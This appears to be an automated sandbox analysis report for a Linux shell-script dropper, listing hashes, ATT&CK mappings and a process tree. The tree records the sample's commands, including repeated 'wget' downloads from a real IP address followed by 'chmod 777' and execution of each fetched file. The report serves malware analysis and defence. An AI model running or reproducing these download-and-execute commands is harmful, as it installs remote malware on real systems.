c3f07c63ec4443e86c1d2d89778238d0664adeb3c7865c17582b96f3fdae71b5

Analysis

max time kernel
6s
max time network
7s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/06/2026, 02:05

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General

Target
p.sh
Size 834B
Sample260609-ch39faaw9v
SHA256 c3f07c63ec4443e86c1d2d89778238d0664adeb3c7865c17582b96f3fdae71b5
MD5 c2788f4f047c7ad00913b2b8aee028e0
SHA1 ecd2dfbd611fc1d287484b4aee18f8c7c81f44af
SHA512 6ea7e6ba0753bc6bff744d2448e027baf2b2d2322f1afcd7de6e9f4d82289aa3b9420c0607bb960abb730e2269ec4d8c6ac2b1f1b87cc9cc81d4bf0f67426737
TLSH
T1EB01AFCEC216D66041D5F89D72D762807411C3CB16464BA47F9C443EDBAEB58B156F44
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
777	chmod
787	chmod
792	chmod
797	chmod
816	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/ktzt	779	p.sh
/tmp/GlV	788	p.sh
/tmp/Z7Jy	793	p.sh
/tmp/ctST	798	p.sh
/tmp/bwr	817	p.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ktzt	wget
File opened for modification	/tmp/GlV	wget
File opened for modification	/tmp/Z7Jy	wget
File opened for modification	/tmp/ctST	wget
File opened for modification	/tmp/bwr	wget
File opened for modification	/tmp/p	p.sh

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:641
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:644
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:650
- /bin/ls
  ls -l /proc/103/exe
  2⤵
  - Reads runtime system information
  PID:660
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  - Reads runtime system information
  PID:664
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  - Reads runtime system information
  PID:666
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:668
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:670
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:673
- /bin/ls
  ls -l /proc/135/exe
  2⤵
  - Reads runtime system information
  PID:674
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/138/exe
  2⤵
  - Reads runtime system information
  PID:677
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:678
- /bin/ls
  ls -l /proc/141/exe
  2⤵
  - Reads runtime system information
  PID:679
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/156/exe
  2⤵
  - Reads runtime system information
  PID:682
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/167/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/209/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/272/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/274/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/275/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/279/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/294/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/303/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/305/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/309/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/320/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/325/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/565/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/578/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/580/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/584/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  - Reads runtime system information
  PID:728
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:730
- /bin/ls
  ls -l /proc/626/exe
  2⤵
  - Reads runtime system information
  PID:732
- /bin/ls
  ls -l /proc/632/exe
  2⤵
  - Reads runtime system information
  PID:735
- /bin/ls
  ls -l /proc/633/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/637/exe
  2⤵
  - Reads runtime system information
  PID:739
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  - Reads runtime system information
  PID:745
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:750
- /bin/ls
  ls -l /proc/73/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:754
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:756
- /bin/ls
  ls -l /proc/94/exe
  2⤵
  PID:758
- /bin/rm
  rm -rf ktzt
  2⤵
  PID:760
- /usr/bin/wget
  wget http://188.132.232.81/ktzt
  2⤵
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 ktzt
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/ktzt
  ./ktzt pdvr
  2⤵
  PID:779
- /bin/sh
  /bin/sh ./ktzt pdvr
  2⤵
  PID:779
- /bin/rm
  rm -rf GlV
  2⤵
  PID:782
- /usr/bin/wget
  wget http://188.132.232.81/GlV
  2⤵
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod 777 GlV
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/GlV
  ./GlV pdvr
  2⤵
  PID:788
- /bin/sh
  /bin/sh ./GlV pdvr
  2⤵
  PID:788
- /bin/rm
  rm -rf Z7Jy
  2⤵
  PID:790
- /usr/bin/wget
  wget http://188.132.232.81/Z7Jy
  2⤵
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 Z7Jy
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/Z7Jy
  ./Z7Jy pdvr
  2⤵
  PID:793
- /bin/sh
  /bin/sh ./Z7Jy pdvr
  2⤵
  PID:793
- /bin/rm
  rm -rf ctST
  2⤵
  PID:795
- /usr/bin/wget
  wget http://188.132.232.81/ctST
  2⤵
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod 777 ctST
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/ctST
  ./ctST pdvr
  2⤵
  PID:798
- /bin/sh
  /bin/sh ./ctST pdvr
  2⤵
  PID:798
- /bin/rm
  rm -rf bwr
  2⤵
  PID:802
- /usr/bin/wget
  wget http://188.132.232.81/bwr
  2⤵
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod 777 bwr
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/bwr
  ./bwr pdvr
  2⤵
  PID:817
- /bin/sh
  /bin/sh ./bwr pdvr
  2⤵
  PID:817
- /bin/rm
  rm -rf p
  2⤵
  PID:820

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

ktzt

Path /tmp/ktzt
Size 3B
SHA256 6bdf66b5bf2a44e658bea2ee86695ab150a06e600bf67cd5cce245ad54962c61
MD5 bc949ea893a9384070c31f083ccefd26
SHA1 cbb8391cb65c20e2c05a2f29211e55c49939c3db
SHA512 e4288e71070485637ec5825f510a7daa7e75ef6c71a1b755f51e1b0f2e58e5066837f58408ea74d75db42c49372c6027d433a869904fc5efaf4876dfcfde1287
MD5 SHA1 SHA512

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512